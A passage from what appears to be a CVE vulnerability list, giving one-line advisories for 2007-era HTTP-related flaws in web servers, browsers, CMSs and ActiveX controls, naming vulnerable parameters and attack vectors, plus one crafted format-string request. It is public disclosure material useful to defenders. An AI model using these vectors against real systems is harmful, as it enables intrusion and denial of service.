19861| [CVE-2007-6117] Unspecified vulnerability in the HTTP dissector for Wireshark (formerly Ethereal) 0.10.14 to 0.99.6 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via crafted chunked messages.
19862| [CVE-2007-6083] SQL injection vulnerability in admin/index.php in IceBB 1.0-rc6 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For HTTP header.
19863| [CVE-2007-6018] IMP Webmail Client 4.1.5, Horde Application Framework 3.1.5, and Horde Groupware Webmail Edition 1.0.3 does not validate unspecified HTTP requests, which allows remote attackers to (1) delete arbitrary e-mail messages via a modified numeric ID or (2) "purge" deleted emails via a crafted email message.
19864| [CVE-2007-6000] KDE Konqueror 3.5.6 and earlier allows remote attackers to cause a denial of service (crash) via large HTTP cookie parameters.
19865| [CVE-2007-5960] Mozilla Firefox before 2.0.0.10 and SeaMonkey before 1.1.7 sets the Referer header to the window or frame in which script is running, instead of the address of the content that initiated the script, which allows remote attackers to spoof HTTP Referer headers and bypass Referer-based CSRF protection schemes by setting window.location and using a modal alert dialog that causes the wrong Referer to be sent.
19866| [CVE-2007-5944] Cross-site scripting (XSS) vulnerability in Servlet Engine / Web Container in IBM WebSphere Application Server (WAS) 5.1.1.4 through 5.1.1.16 allows remote attackers to inject arbitrary web script or HTML via the Expect HTTP header. NOTE: this might be the same issue as CVE-2006-3918, but there are insufficient details to be sure.
19867| [CVE-2007-5924] Cross-site scripting (XSS) vulnerability in the Web Server (HTTP) task in IBM Lotus Domino before 6.5.6 FP2, and 7.x before 7.0.2 FP2, allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.
19868| [CVE-2007-5900] PHP before 5.2.5 allows local users to bypass protection mechanisms configured through php_admin_value or php_admin_flag in httpd.conf by using ini_set to modify arbitrary configuration variables, a different issue than CVE-2006-4625.
19869| [CVE-2007-5893] HTTPSocket.cpp in the C++ Sockets Library before 2.2.5 allows remote attackers to cause a denial of service (crash) via an HTTP request with a missing protocol version number, which triggers an exception. NOTE: some of these details were obtained from third party information.
19870| [CVE-2007-5832] Unspecified vulnerability in selectLanguage.do in SSL-Explorer before 0.2.15 allows remote attackers to inject (1) headers or (2) body data in an HTTP transaction, a different vulnerability than CVE-2007-2907. NOTE: some of these details are obtained from third party information.
19871| [CVE-2007-5826] Absolute path traversal vulnerability in the EDraw Flowchart ActiveX control in EDImage.ocx 2.0.2005.1104 allows remote attackers to create or overwrite arbitrary files with arbitrary contents via a full pathname in the second argument to the HttpDownloadFile method, a different product than CVE-2007-4420.
19872| [CVE-2007-5825] Format string vulnerability in the ws_addarg function in webserver.c in mt-dappd in Firefly Media Server 0.2.4 and earlier allows remote attackers to execute arbitrary code via a stats method action to /xml-rpc with format string specifiers in the (1) username or (2) password portion of base64-encoded data on the "Authorization: Basic" HTTP header line.
19873| [CVE-2007-5809] Cross-site scripting (XSS) vulnerability in Hitachi Web Server 01-00 through 03-10, as used by certain Cosminexus products, allows remote attackers to inject arbitrary web script or HTML via unspecified HTTP requests that trigger creation of a server-status page.
19874| [CVE-2007-5778] Mobile Spy (1) stores login credentials in cleartext under the RetinaxStudios registry key, and (2) sends login credentials and log data over a cleartext HTTP connection, which allows attackers to obtain sensitive information by reading the registry or sniffing the network.
19875| [CVE-2007-5768] The Globe7 soft phone client 7.3 sends username and password information in cleartext, which allows remote attackers to obtain sensitive information by sniffing the HTTP traffic.
19876| [CVE-2007-5712] The internationalization (i18n) framework in Django 0.91, 0.95, 0.95.1, and 0.96, and as used in other products such as PyLucid, when the USE_I18N option and the i18n component are enabled, allows remote attackers to cause a denial of service (memory consumption) via many HTTP requests with large Accept-Language headers.
19877| [CVE-2007-5685] The safe_path function in shttp before 0.0.5 allows remote attackers to conduct directory traversal attacks and read files via a combination of ".." and sub-directory specifiers that resolve to a pathname that is at or below the same level as the web document root, but in a different part of the directory tree.
19878| [CVE-2007-5615] CRLF injection vulnerability in Mortbay Jetty before 6.1.6rc0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19879| [CVE-2007-5600] Incomplete blacklist vulnerability in index.php in Artmedic CMS 3.4 and earlier allows remote attackers to execute arbitrary PHP code via a (1) UNC share pathname, or a (2) ftps, (3) ssh2.sftp, or (4) ssh2.scp URL, in the page parameter, for which PHP remote file inclusion is blocked only for http, https, and ftp URLs.
19880| [CVE-2007-5595] CRLF injection vulnerability in the drupal_goto function in includes/common.inc Drupal 4.7.x before 4.7.8 and 5.x before 5.3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19881| [CVE-2007-5570] Cisco Firewall Services Module (FWSM) 3.2(1), and 3.1(5) and earlier, allows remote attackers to cause a denial of service (device reload) via a crafted HTTPS request, aka CSCsi77844.
19882| [CVE-2007-5561] Format string vulnerability in the logging function in the Oracle OPMN daemon, as used on Oracle Enterprise Grid Console server 10.2.0.1, allows remote attackers to execute arbitrary code via format string specifiers in the URI in an HTTP request to port 6003, aka Oracle reference number 6296175. NOTE: this might be the same issue as CVE-2007-0282 or CVE-2007-0280, but there are insufficient details to be sure.
19883| [CVE-2007-5560] Heap-based buffer overflow in the Juniper HTTP Service allows remote attackers to execute arbitrary code via a crafted HTTP packet. NOTE: as of 20071016, the only disclosure is a vague pre-advisory with no actionable information. However, since it is from a well-known researcher, it is being assigned a CVE identifier for tracking purposes.
19884| [CVE-2007-5559] Heap-based buffer overflow in the IBM ThinkVantage TPM Service allows remote attackers to execute arbitrary code via a crafted HTTP packet. NOTE: as of 20071016, the only disclosure is a vague pre-advisory with no actionable information. However, since it is from a well-known researcher, it is being assigned a CVE identifier for tracking purposes.
19885| [CVE-2007-5558] Integer overflow in the LG Mobile handset allows remote attackers to cause a denial of service (reboot) via a crafted HTTP packet. NOTE: as of 20071016, the only disclosure is a vague pre-advisory with no actionable information. However, since it is from a well-known researcher, it is being assigned a CVE identifier for tracking purposes.
19886| [CVE-2007-5518] Unspecified vulnerability in the Oracle HTTP Server component in Oracle Application Server 10.1.3.2 has unknown impact and remote attack vectors, aka AS03.
19887| [CVE-2007-5494] Memory leak in the Red Hat Content Accelerator kernel patch in Red Hat Enterprise Linux (RHEL) 4 and 5 allows local users to cause a denial of service (memory consumption) via a large number of open requests involving O_ATOMICLOOKUP.
19888| [CVE-2007-5437] The web console in CA (formerly Computer Associates) eTrust ITM (Threat Manager) 8.1 allows remote attackers to redirect users to arbitrary web sites via a crafted HTTP URL on port 6689.
19889| [CVE-2007-5413] httpd.tkd in Radia Integration Server in Hewlett-Packard (HP) OpenView Configuration Management (CM) Infrastructure 4.0 through 4.2i and Client Configuration Manager (CCM) 2.0 allows remote attackers to read arbitrary files via URLs containing tilde (~) references to home directories, as demonstrated by ~root.
19890| [CVE-2007-5384] Multiple cross-site request forgery (CSRF) vulnerabilities in the Thomson/Alcatel SpeedTouch 7G router, as used for the BT Home Hub 6.2.6.B and earlier, allow remote attackers to perform actions as administrators via unspecified POST requests, as demonstrated by enabling an inbound remote-assistance HTTPS session on TCP port 51003. NOTE: an authentication bypass can be leveraged to exploit this in the absence of an existing administrative session. NOTE: SpeedTouch 780 might also be affected by some of these issues.
19891| [CVE-2007-5273] Sun Java Runtime Environment (JRE) in JDK and JRE 6 Update 2 and earlier, JDK and JRE 5.0 Update 12 and earlier, SDK and JRE 1.4.2_15 and earlier, and SDK and JRE 1.3.1_20 and earlier, when an HTTP proxy server is used, allows remote attackers to violate the security model for an applet's outbound connections via a multi-pin DNS rebinding attack in which the applet download relies on DNS resolution on the proxy server, but the applet's socket operations rely on DNS resolution on the local machine, a different issue than CVE-2007-5274. NOTE: this is similar to CVE-2007-5232.
19892| [CVE-2007-5222] SQL injection vulnerability in index.php in MAXdev MDPro (MD-Pro) 1.0.76 allows remote attackers to execute arbitrary SQL commands via a "Firefox ID=" substring in a Referer HTTP header.
19893| [CVE-2007-5209] Stack-based buffer overflow in DriveLock.exe in CenterTools DriveLock 5.0 allows remote attackers to execute arbitrary code via a long HTTP request to TCP port 6061. NOTE: the provenance of this information is unknown
19894| [CVE-2007-5198] Buffer overflow in the redir function in check_http.c in Nagios Plugins before 1.4.10, when running with the -f (follow) option, allows remote web servers to execute arbitrary code via Location header responses (redirects) with a large number of leading "L" characters.
19895| [CVE-2007-5162] The connect method in lib/net/http.rb in the (1) Net::HTTP and (2) Net::HTTPS libraries in Ruby 1.8.5 and 1.8.6 does not verify that the commonName (CN) field in a server certificate matches the domain name in an HTTPS request, which makes it easier for remote attackers to intercept SSL transmissions via a man-in-the-middle attack or spoofed web site.
19896| [CVE-2007-5156] Incomplete blacklist vulnerability in editor/filemanager/upload/php/upload.php in FCKeditor, as used in SiteX CMS 0.7.3.beta, La-Nai CMS, Syntax CMS, Cardinal Cms, and probably other products, allows remote attackers to upload and execute arbitrary PHP code via a file whose name contains ".php." and has an unknown extension, which is recognized as a .php file by the Apache HTTP server, a different vulnerability than CVE-2006-0658 and CVE-2006-2529.
19897| [CVE-2007-5036] Multiple buffer overflows in the AirDefense Airsensor M520 with firmware 4.3.1.1 and 4.4.1.4 allow remote authenticated users to cause a denial of service (HTTPS service outage) via a crafted query string in an HTTPS request to (1) adLog.cgi, (2) post.cgi, or (3) ad.cgi, related to the "files filter."
19898| [CVE-2007-5034] ELinks before 0.11.3, when sending a POST request for an https URL, appends the body and content headers of the POST request to the CONNECT request in cleartext, which allows remote attackers to sniff sensitive data that would have been protected by TLS. NOTE: this issue only occurs when a proxy is defined for https.
19899| [CVE-2007-5000] Cross-site scripting (XSS) vulnerability in the (1) mod_imap module in the Apache HTTP Server 1.3.0 through 1.3.39 and 2.0.35 through 2.0.61 and the (2) mod_imagemap module in the Apache HTTP Server 2.2.0 through 2.2.6 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
19900| [CVE-2007-4980] The readRequest method in org/gcaldaemon/core/http/HTTPListener.java in GCALDaemon 1.0-beta13 allows remote attackers to cause a denial of service via a large integer value in the Content-Length HTTP header, which triggers a fatal Java OutOfMemoryError.
19901| [CVE-2007-4915] The Intersil isl3893 extensions for Boa 0.93.15, as used on the FreeLan RO80211G-AP and other devices, do not prevent stack writes from entering memory locations used for string constants, which allows remote attackers to change the admin password stored in memory via a long username in an HTTP Basic Authentication request.
19902| [CVE-2007-4909] Interpretation conflict in WinSCP before 4.0.4 allows remote attackers to perform arbitrary file transfers with a remote server via file-transfer commands in the final portion of a (1) scp, and possibly a (2) sftp or (3) ftp, URL, as demonstrated by a URL specifying login to the remote server with a username of scp, which is interpreted as an HTTP scheme name by the protocol handler in a web browser, but is interpreted as a username by WinSCP. NOTE: this is related to an incomplete fix for CVE-2006-3015.
19903| [CVE-2007-4886] Incomplete blacklist vulnerability in index.php in AuraCMS 1.x and probably 2.x allows remote attackers to execute arbitrary PHP code via a (1) UNC share pathname, or a (2) ftp, (3) ftps, or (4) ssh2.sftp URL, in the pilih parameter, for which PHP remote file inclusion is blocked only for http URLs.
19904| [CVE-2007-4880] Buffer overflow in the Client Acceptor Daemon (CAD), dsmcad.exe, in certain IBM Tivoli Storage Manager (TSM) clients 5.1 before 5.1.8.1, 5.2 before 5.2.5.2, 5.3 before 5.3.5.3, and 5.4 before 5.4.1.2 allows remote attackers to execute arbitrary code via crafted HTTP headers, aka IC52905.
19905| [CVE-2007-4822] Cross-site request forgery (CSRF) vulnerability in the device management interface in Buffalo AirStation WHR-G54S 1.20 allows remote attackers to make configuration changes as an administrator via HTTP requests to certain HTML pages in the res parameter with an inp req parameter to cgi-bin/cgi, as demonstrated by accessing (1) ap.html and (2) filter_ip.html.
19906| [CVE-2007-4821] Buffer overflow in a certain ActiveX control in officeviewer.ocx 5.2.218.1 in EDraw Office Viewer Component 5.2 allows remote attackers to execute arbitrary code via a long first argument to the HttpDownloadFileToTempDir method, a different vulnerability than CVE-2007-3169.
19907| [CVE-2007-4727] Buffer overflow in the fcgi_env_add function in mod_proxy_backend_fastcgi.c in the mod_fastcgi extension in lighttpd before 1.4.18 allows remote attackers to overwrite arbitrary CGI variables and execute arbitrary code via an HTTP request with a long content length, as demonstrated by overwriting the SCRIPT_FILENAME variable, aka a "header overflow."
19908| [CVE-2007-4723] Directory traversal vulnerability in Ragnarok Online Control Panel 4.3.4a, when the Apache HTTP Server is used, allows remote attackers to bypass authentication via directory traversal sequences in a URI that ends with the name of a publicly available page, as demonstrated by a "/...../" sequence and an account_manage.php/login.php final component for reaching the protected account_manage.php page.
19909| [CVE-2007-4709] Directory traversal vulnerability in CFNetwork in Apple Mac OS X 10.5.1 allows remote attackers to overwrite arbitrary files via a crafted HTTP response.
19910| [CVE-2007-4692] The tabbed browsing feature in Apple Safari 3 before Beta Update 3.0.4 on Windows, and Mac OS X 10.4 through 10.4.10, allows remote attackers to spoof HTTP authentication for other sites and possibly conduct phishing attacks by causing an authentication sheet to be displayed for a tab that is not active, which makes it appear as if it is associated with the active tab.
19911| [CVE-2007-4671] Unspecified vulnerability in Safari in Apple iPhone 1.1.1, and Safari 3 before Beta Update 3.0.4 on Windows and Mac OS X 10.4 through 10.4.10, allows remote attackers to "alter or access" HTTPS content via an HTTP session with a crafted web page that causes Javascript to be applied to HTTPS pages from the same domain.
19912| [CVE-2007-4625] Polipo before 1.0.2 allows remote HTTP servers to cause a denial of service (daemon crash) by aborting the response to a POST request.
19913| [CVE-2007-4618] Unspecified vulnerability in BEA WebLogic Server 6.1 Gold through SP7 and 7.0 Gold through SP7 allows remote attackers to cause a denial of service (disk consumption) via certain malformed HTTP headers.
19914| [CVE-2007-4540] Multiple SQL injection vulnerabilities in download.php in Olate Download (od) 3.4.2 allow remote attackers to execute arbitrary SQL commands via the (1) HTTP_REFERER or (2) HTTP_USER_AGENT HTTP header.
19915| [CVE-2007-4477] The administration interface in the Planet VC-200M VDSL2 router allows remote attackers to cause a denial of service (administration interface outage) via an HTTP request without a Host header.
19916| [CVE-2007-4471] Multiple unspecified vulnerabilities in the Intuit QuickBooks Online Edition ActiveX control before 10 allow remote attackers to create or overwrite arbitrary files via unspecified arguments to the (1) httpGETToFile, (2) httpPOSTFromFile, and possibly other methods, probably involving path traversal vulnerabilities in exposed dangerous methods. NOTE: this can be leveraged for code execution by writing to a Startup folder.
19917| [CVE-2007-4465] Cross-site scripting (XSS) vulnerability in mod_autoindex.c in the Apache HTTP Server before 2.2.6, when the charset on a server-generated page is not defined, allows remote attackers to inject arbitrary web script or HTML via the P parameter using the UTF-7 charset. NOTE: it could be argued that this issue is due to a design limitation of browsers that attempt to perform automatic content type detection.
19918| [CVE-2007-4420] Absolute path traversal vulnerability in a certain ActiveX control in officeviewer.ocx 5.1.199.1 in EDraw Office Viewer Component 5.1 allows remote attackers to create or overwrite arbitrary files via a full pathname in the second argument to the HttpDownloadFile method, a different vulnerability than CVE-2007-3168 and CVE-2007-3169.
19919| [CVE-2007-4348] Cross-site scripting (XSS) vulnerability in the CAD service in IBM Tivoli Storage Manager (TSM) Client 5.3.5.3 and 5.4.1.2 for Windows allows remote attackers to inject arbitrary web script or HTML via HTTP requests to port 1581, which generate log entries in a dsmerror.log file that is accessible through a certain web interface.
19920| [CVE-2007-4337] Multiple buffer overflows in the httplib_parse_sc_header function in lib/http.c in Streamripper before 1.62.2 allow remote attackers to execute arbitrary code via long (1) Location and (2) Server HTTP headers, a different vulnerability than CVE-2006-3124.
19921| [CVE-2007-4225] Visual truncation vulnerability in KDE Konqueror 3.5.7 allows remote attackers to spoof the URL address bar via an http URI with a large amount of whitespace in the user/password portion.
19922| [CVE-2007-4190] CRLF injection vulnerability in Joomla! before 1.0.13 (aka Sunglow) allows remote attackers to inject arbitrary HTTP headers and probably conduct HTTP response splitting attacks via CRLF sequences in the url parameter. NOTE: this can be leveraged for cross-site scripting (XSS) attacks. NOTE: some of these details are obtained from third party information.
19923| [CVE-2007-4181] ** DISPUTED ** PHP remote file inclusion vulnerability in data/inc/theme.php in Pluck 4.3, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the dir parameter. NOTE: A reliable third party disputes this vulnerability because the applicable include is within a function that does not receive the dir parameter from an HTTP request.
19924| [CVE-2007-4174] Tor before 0.1.2.16, when ControlPort is enabled, does not properly restrict commands to localhost port 9051, which allows remote attackers to modify the torrc configuration file, compromise anonymity, and have other unspecified impact via HTTP POST data containing commands without valid authentication, as demonstrated by an HTML form (1) hosted on a web site or (2) injected by a Tor exit node.
19925| [CVE-2007-4164] CRLF injection vulnerability in the redirect feature in Sun Java System Web Server 6.1 and 7.0 before 20070802, when the redirect Server Application Function (SAF) uses the url-prefix parameter and escape is disabled, or an Error directive uses the url-prefix parameter in obj.conf, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks.
19926| [CVE-2007-4159] index.html in the HTTP administration interface in certain daemons in TIBCO Rendezvous (RV) 7.5.2 allows remote attackers to obtain sensitive information, such as a user name and IP addresses, via a direct request.
19927| [CVE-2007-4063] Multiple cross-site request forgery (CSRF) vulnerabilities in Drupal 5.x before 5.2 allow remote attackers to (1) delete comments, (2) delete content revisions, and (3) disable menu items as privileged users, related to improper use of HTTP GET and the Forms API.
19928| [CVE-2007-4060] Multiple buffer overflows in the HttpSprockMake function in http.c in Frank Yaul corehttp 0.5.3alpha allow remote attackers to execute arbitrary code via a long string in the (1) method name or (2) URI in an HTTP request.
19929| [CVE-2007-3950] lighttpd 1.4.15, when run on 32 bit platforms, allows remote attackers to cause a denial of service (daemon crash) via unspecified vectors involving the use of incompatible format specifiers in certain debugging messages in the (1) mod_scgi, (2) mod_fastcgi, and (3) mod_webdav modules.
19930| [CVE-2007-3949] mod_access.c in lighttpd 1.4.15 ignores trailing / (slash) characters in the URL, which allows remote attackers to bypass url.access-deny settings.
19931| [CVE-2007-3948] connections.c in lighttpd before 1.4.16 might accept more connections than the configured maximum, which allows remote attackers to cause a denial of service (failed assertion) via a large number of connection attempts.
19932| [CVE-2007-3947] request.c in lighttpd 1.4.15 allows remote attackers to cause a denial of service (daemon crash) by sending an HTTP request with duplicate headers, as demonstrated by a request containing two Location header lines, which results in a segmentation fault.
19933| [CVE-2007-3946] mod_auth (http_auth.c) in lighttpd before 1.4.16 allows remote attackers to cause a denial of service (daemon crash) via unspecified vectors involving (1) a memory leak, (2) use of md5-sess without a cnonce, (3) base64 encoded strings, and (4) trailing whitespace in the Auth-Digest header.
19934| [CVE-2007-3911] Multiple heap-based buffer overflows in (1) clsscheduler.exe (aka scheduler client) and (2) srvscheduler.exe (aka scheduler server) in BakBone NetVault Reporter 3.5 before Update4 allow remote attackers to execute arbitrary code via long filename arguments in HTTP requests.
19935| [CVE-2007-3804] The AntiVirus engine in the HTTP-ALG in Clavister CorePlus before 8.81.00 and 8.80.03 might allow remote attackers to bypass scanning via small files.
19936| [CVE-2007-3796] The password reset feature in the Spam Quarantine HTTP interface for MailMarshal SMTP 6.2.0.x before 6.2.1 allows remote attackers to modify arbitrary account information via a UserId variable with a large amount of trailing whitespace followed by a malicious value, which triggers SQL buffer truncation due to length inconsistencies between variables.
19937| [CVE-2007-3709] CRLF injection vulnerability in the redirect function in url_helper.php in CodeIgniter 1.5.3 allows remote attackers to inject arbitrary HTTP headers via CRLF sequences in an unspecified parameter, as demonstrated by a Set-Cookie header.
19938| [CVE-2007-3686] CRLF injection vulnerability in db.php in Unobtrusive Ajax Star Rating Bar before 1.2.0 allows remote attackers to inject arbitrary HTTP headers and data via CRLF sequences in the HTTP_REFERER parameter.
19939| [CVE-2007-3656] Mozilla Firefox before 1.8.0.13 and 1.8.1.x before 1.8.1.5 does not perform a security zone check when processing a wyciwyg URI, which allows remote attackers to obtain sensitive information, poison the browser cache, and possibly enable further attack vectors via (1) HTTP 302 redirect controls, (2) XMLHttpRequest, or (3) view-source URIs.
19940| [CVE-2007-3639] WordPress before 2.2.2 allows remote attackers to redirect visitors to other websites and potentially obtain sensitive information via (1) the _wp_http_referer parameter to wp-pass.php, related to the wp_get_referer function in wp-includes/functions.php
19941| [CVE-2007-3624] Heap-based buffer overflow in the Message HTTP Server in SAP Message Server allows remote attackers to execute arbitrary code via a long string in the group parameter to /msgserver/html/group.
19942| [CVE-2007-3623] Cross-site scripting (XSS) vulnerability in the Hitachi JP1/HiCommand Device Manager, Tiered Storage Manager, Replication Monitor, and GlobalLink Availability Manager before 20070528 allows remote attackers to inject arbitrary web script or HTML via the Expect HTTP header.
19943| [CVE-2007-3614] Multiple stack-based buffer overflows in waHTTP.exe (aka the SAP DB Web Server) in SAP DB, possibly 7.3 through 7.5, allow remote attackers to execute arbitrary code via (1) a certain cookie value
19944| [CVE-2007-3571] The Apache Web Server as used in Novell NetWare 6.5 and GroupWise allows remote attackers to obtain sensitive information via a certain directive to Apache that causes the HTTP-Header response to be modified, which may reveal the server's internal IP address.
19945| [CVE-2007-3570] The Linux Access Gateway in Novell Access Manager before 3.0 SP1 Release Candidate 1 (RC1) allows remote attackers to bypass unspecified security controls via Fullwidth/Halfwidth Unicode encoded data in a HTTP POST request.
19946| [CVE-2007-3567] MySQLDumper 1.21b through 1.23 REV227 uses a "Limit GET" statement in the .htaccess authentication mechanism, which allows remote attackers to bypass authentication requirements via HTTP POST requests.
19947| [CVE-2007-3541] Cross-site scripting (XSS) vulnerability in Kurinton sHTTPd 20070408 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
19948| [CVE-2007-3496] Cross-site scripting (XSS) vulnerability in SAP Web Dynpro Java (BC-WD-JAV) in SAP NetWeaver Nw04 SP15 through SP19 and Nw04s SP7 through SP11, aka SAP Java Technology Services 640 before SP20 and SAP Web Dynpro Runtime Core Components 700 before SP12, allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
19949| [CVE-2007-3457] Adobe Flash Player 8.0.34.0 and earlier insufficiently validates HTTP Referer headers, which might allow remote attackers to conduct a CSRF attack via a crafted SWF file.
19950| [CVE-2007-3407] Sergey Lyubka Simple HTTPD (shttpd) 1.38 allows remote attackers to obtain sensitive information (script source code) via a URL with a trailing encoded space (%20).
19951| [CVE-2007-3389] Wireshark before 0.99.6 allows remote attackers to cause a denial of service (crash) via a crafted chunked encoding in an HTTP response, possibly related to a zero-length payload.
19952| [CVE-2007-3368] Buffer overflow in the HTTP server on the Polycom SoundPoint IP 601 SIP phone with BootROM 3.0.x+ allows remote attackers to cause a denial of service (device reboot) via a malformed CGI parameter.
19953| [CVE-2007-3343] Cross-site scripting (XSS) vulnerability in RaidenHTTPD before 2.0.14 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
19954| [CVE-2007-3340] BugHunter HTTP SERVER (httpsv.exe) 1.6.2 allows remote attackers to cause a denial of service (application crash) via a large number of requests for nonexistent pages.
19955| [CVE-2007-3327] httpsv.exe in HTTP Server 1.6.2 allows remote attackers to obtain sensitive information (script source code) via a URI with a trailing %20 (encoded space).
19956| [CVE-2007-3307] SQL injection vulnerability in game_listing.php in Solar Empire 2.9.1.1 and earlier allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header.
19957| [CVE-2007-3304] Apache httpd 1.3.37, 2.0.59, and 2.2.4 with the Prefork MPM module, allows local users to cause a denial of service by modifying the worker_score and process_score arrays to reference an arbitrary process ID, which is sent a SIGUSR1 signal from the master process, aka "SIGUSR1 killer."
19958| [CVE-2007-3303] Apache httpd 2.0.59 and 2.2.4, with the Prefork MPM module, allows local users to cause a denial of service via certain code sequences executed in a worker process that (1) stop request processing by killing all worker processes and preventing creation of replacements or (2) hang the system by forcing the master process to fork an arbitrarily large number of worker processes. NOTE: This might be an inherent design limitation of Apache with respect to worker processes in hosted environments.
19959| [CVE-2007-3288] Cross-site scripting (XSS) vulnerability in the skeltoac stats (Automattic Stats) 1.0 plugin for WordPress allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer field.
19960| [CVE-2007-3256] Xythos Enterprise Document Manager (XEDM), Digital Locker (XDL), and possibly WebFile Server before 6.0.46.1 allow remote authenticated users to associate arbitrary Content-Type HTTP headers with documents, which might facilitate malware distribution.
19961| [CVE-2007-3255] Multiple cross-site request forgery (CSRF) vulnerabilities in Xythos Enterprise Document Manager (XEDM) before 5.0.25.8, and 6.x before 6.0.46.1, allow remote authenticated users to execute commands as arbitrary users via (1) a saved Workflow name or (2) the Content-Type HTTP header. NOTE: item 2 also affects the same version numbers of Xythos Digital Locker (XDL). One or both vectors might also affect Xythos WebFile Server.
19962| [CVE-2007-3169] Buffer overflow in a certain ActiveX control in the EDraw Office Viewer Component (edrawofficeviewer.ocx) 4.0.5.20, and other versions before 5.0, allows remote attackers to cause a denial of service (Internet Explorer 7 crash) or execute arbitrary code via a long first argument to the HttpDownloadFile method.
19963| [CVE-2007-3164] Microsoft Internet Explorer 7, when prompting for HTTP Basic Authentication for an IDN web site, uses ACE labels for the domain name in the status bar, but uses internationalized labels for this name in the authentication dialog, which might allow remote attackers to perform phishing attacks if the user misinterprets confusable characters in the internationalized labels, as demonstrated by displaying xn--theshmogroup-bgk.com only in the status bar.
19964| [CVE-2007-3162] Buffer overflow in the NotSafe function in the idaiehlp ActiveX control in idaiehlp.dll 1.9.1.74 in Internet Download Accelerator (ida) 5.2 allows remote attackers to cause a denial of service (Internet Explorer crash) via a long argument.
19965| [CVE-2007-3159] http.c in MiniWeb Http Server 0.8.x allows remote attackers to cause a denial of service (application crash) via a negative value in the Content-Length HTTP header.
19966| [CVE-2007-3150] Google Desktop allows user-assisted remote attackers to execute arbitrary programs via a man-in-the-middle attack that injects JavaScript, a www.google.com search IFRAME, and a META HTTP-EQUIV="refresh" that targets a www.google.com search for a local .exe file, which is displayed in the "results stored on your computer" portion of the search results, and when clicked invokes Google Desktop to execute this file.
19967| [CVE-2007-3145] Visual truncation vulnerability in Galeon 2.0.1 allows remote attackers to spoof the address bar and possibly conduct phishing attacks via a long hostname, which is truncated after a certain number of characters, as demonstrated by a phishing attack using HTTP Basic Authentication.
19968| [CVE-2007-3144] Visual truncation vulnerability in Mozilla 1.7.12 allows remote attackers to spoof the address bar and possibly conduct phishing attacks via a long hostname, which is truncated after a certain number of characters, as demonstrated by a phishing attack using HTTP Basic Authentication.
19969| [CVE-2007-3143] Visual truncation vulnerability in Konqueror 3.5.5 allows remote attackers to spoof the address bar and possibly conduct phishing attacks via a long hostname, which is truncated after a certain number of characters, as demonstrated by a phishing attack using HTTP Basic Authentication.
19970| [CVE-2007-3142] Visual truncation vulnerability in Opera 9.21 allows remote attackers to spoof the address bar and possibly conduct phishing attacks via a long hostname, which is truncated after 34 characters, as demonstrated by a phishing attack using HTTP Basic Authentication.
19971| [CVE-2007-3117] Cross-site scripting (XSS) vulnerability in the SEO module in ADPLAN 3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors related to HTTP headers.
19972| [CVE-2007-3009] Format string vulnerability in the MprLogToFile::logEvent function in Mbedthis AppWeb 2.0.5-4, when the build supports logging but the configuration disables logging, allows remote attackers to cause a denial of service (daemon crash) via format string specifiers in the HTTP scheme, as demonstrated by a "GET %n://localhost:80/" request.
19973| [CVE-2007-3008] Mbedthis AppWeb before 2.2.2 enables the HTTP TRACE method, which has unspecified impact probably related to remote information leaks and cross-site tracing (XST) attacks, a related issue to CVE-2004-2320 and CVE-2005-3398.
19974| [CVE-2007-2952] Multiple stack-based buffer overflows in the filter service (aka k9filter.exe) in Blue Coat K9 Web Protection 3.2.44 with Filter 3.2.32 allow (1) remote attackers to execute arbitrary code via a long HTTP Referer header to the K9 Web Protection Administration interface and (2) man-in-the-middle attackers to execute arbitrary code via an HTTP response with a long HTTP version field.
19975| [CVE-2007-2907] Unspecified vulnerability in SSL-Explorer before 0.2.13 allows remote authenticated users to enter redirect URLs containing (1) JavaScript or (2) HTTP headers via an unspecified vector, possibly the forwardTo parameter to redirect.do. NOTE: the impact might be cross-site scripting (XSS) or HTTP request smuggling.
19976| [CVE-2007-2734] The 3Com TippingPoint IPS do not properly handle certain full-width and half-width Unicode character encodings in an HTTP POST request, which might allow remote attackers to evade detection of HTTP traffic.
19977| [CVE-2007-2695] The HttpClusterServlet and HttpProxyServlet in BEA WebLogic Express and WebLogic Server 6.1 through SP7, 7.0 through SP7, 8.1 through SP5, 9.0, and 9.1, when SecureProxy is enabled, may process "external requests on behalf of a system identity," which allows remote attackers to access administrative data or functionality.
19978| [CVE-2007-2690] Multiple IBM ISS Proventia Series products, including the A, G, and M series, do not properly handle certain full-width and half-width Unicode character encodings, which might allow remote attackers to evade detection of HTTP traffic.
19979| [CVE-2007-2689] Check Point Web Intelligence does not properly handle certain full-width and half-width Unicode character encodings, which might allow remote attackers to evade detection of HTTP traffic.
19980| [CVE-2007-2688] The Cisco Intrusion Prevention System (IPS) and IOS with Firewall/IPS Feature Set do not properly handle certain full-width and half-width Unicode character encodings, which might allow remote attackers to evade detection of HTTP traffic.
19981| [CVE-2007-2635] Unspecified vulnerability in Interchange before 5.4.2 allows remote attackers to cause an unspecified denial of service (possibly server hang) via crafted HTTP requests.
19982| [CVE-2007-2618] CRLF injection vulnerability in index.php in Drake CMS 0.4.0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the lang parameter. NOTE: Drake CMS has only a beta version available, and the vendor has previously stated "We do not consider security reports valid until the first official release of Drake CMS."
19983| [CVE-2007-2588] Multiple buffer overflows in the Office Viewer OCX ActiveX control (oa.ocx) 3.2 allow remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long argument to the (1) HttpDownloadFile, (2) Open, (3) OpenWebFile, (4) DoOleCommand, (5) FTPDownloadFile, (6) FTPUploadFile, (7) HttpUploadFile, (8) Save, or (9) SaveWebFile function.
19984| [CVE-2007-2563] Buffer overflow in the AddFile function in VersalSoft HTTP File Upload ActiveX control (UFileUploaderD.dll) allows remote attackers to execute arbitrary code via a long argument.
